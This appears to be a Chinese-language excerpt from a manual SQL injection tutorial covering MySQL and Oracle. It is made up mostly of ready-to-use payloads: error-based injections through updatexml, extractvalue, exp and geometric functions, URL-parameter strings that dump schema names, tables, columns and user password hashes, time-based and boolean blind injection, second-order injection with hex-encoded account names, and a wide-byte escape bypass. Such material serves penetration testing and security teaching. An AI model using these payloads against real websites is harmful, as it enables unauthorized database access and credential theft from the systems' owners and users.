0x01 Mysql手工注入

1.2报错注入
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp()select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理：
exp（）报错的原理：exp是一个数学函数，取e的x次方，当我们输入的值大于709将报错，然后〜取反它的值总会大于709，所以报错。
updatexml（）报错的原理：由于updatexml的第二个参数需要Xpath格式的字符串，以〜开头的内容不是xml格式的语法，concat（）函数为串联连接函数而不符合规则，但嵌套内的执行结果以错误的形式报出，这样就可以实现报错注入了。
爆库：?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表：?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +爆字段：?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆数据：?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + #concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
这里需要注意的是它加了连接字符，导致数据中的md5只能爆出31位，这里可以用分割函数分割出来：
substr(string string,num start,num length);#string为字符串,start为起始位置,length为长度 ?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
1.3盲注
1.3.1时间盲注
时间盲注也叫延迟注入一般用到函数sleep（）BENCHMARK（）还可以使用笛卡尔积（尽量不要使用，内容太多会很慢很慢）
一般时间盲注我们还需要使用条件判断函数
#if（expre1，expre2，expre3）当 expre1 为 true 时，返回 expre2，false 时，返回 expre3 #盲注的同时也配合着 mysql 提供的分割函substr、substring、left
我们一般喜欢把分割的函数编码一下，当然不编码也行，编码的好处就是可以不用引号，常用到的就有ascii（）hex（）等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
1.3.2布尔盲注
?id=1' and substr((select user()),1,1)='r' -- +?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +#如果 IFNULL 第一个参数的表达式为 NULL，则返回第二个参数的备用值，不为 Null 则输出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +#若所有的字符串均相同，STRCMP() 返回 0，若根据当前分类次序，第一个参数小于第二个，则返回 -1 ，其它情况返回 1
1.4插入，删除，更新
插入，删除，更新主要是用到盲注和报错注入，这种注入点不建议使用sqlmap等工具，会产生大量垃圾数据，一般这种注入会出现在编码，ip头，留言板等等需要写入数据的地方，同时这种注入不报错一般较难发现，我们可以尝试性插入，引号，双引号，转义符\让语句不能正常执行，然后如果插入失败，更新失败，然后深入测试确定是否存在注入

1.5二次注入与宽字节注入
二次注入的语句：在没有被单引号包裹的sql语句下，我们可以用16进制编码他，这样就不会带有单引号等。
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');Query OK, 1 row affected (0.00 sec) mysql> select * from admin;+----+-----------+-------+| id | name | pass |+----+-----------+-------+| 1 | admin | admin || 2 | admin'111 | 11111 || 3 | admin'--+ | 11 |+----+-----------+-------+4 rows in set (0.00 sec)
二次注入在没有二进制的情况比较难发现，通常见于注册，登录恶意账户后，数据库可能会因为恶意账户名的问题，将admin'-+误认为admin帐户
宽字节注入：针对目标已达到一定的防护，单引号转换为 \' ，mysql转换 \ 编码为 %5c ，宽字节中两个字节代表一个汉字，所以把 %df 加上 %5c 就变成了一个汉字“运”，使用这种方法成功绕过过转义，就是所谓的宽字节注入
id=-1%df' union select... #没使用宽字节%27 -> %5C%27 #使用宽字节%df%27 -> %df%5c%27 -> 運'
0x02 Oracle手工注入

2.3盲注
2.3.1布尔盲注
既然是盲注，那么肯定涉及到条件判断语句，Oracle除了使用if else结束，如果这种复杂的，还可以使用encode（）函数。
语法：decode（条件，值1，返回值1，值2，返回值2，...值n，返回值n，更改值）;
该函数的含义如下：
IF 条件=值1 THEN RETURN(返回值1)ELSIF 条件=值2 THEN RETURN(返回值2) ......ELSIF 条件=值n THEN RETURN(返回值n)ELSE RETURN(缺省值)END IF
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--?id=1' and ascii(substr(user,1,1))> 64-- #二分法
2.3.2时间盲注
可使用DBMS_PIPE.RECEIVE_MESSAGE（'任意值'，延迟时间）函数进行时间盲注，这个函数可以指定延迟的时间
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
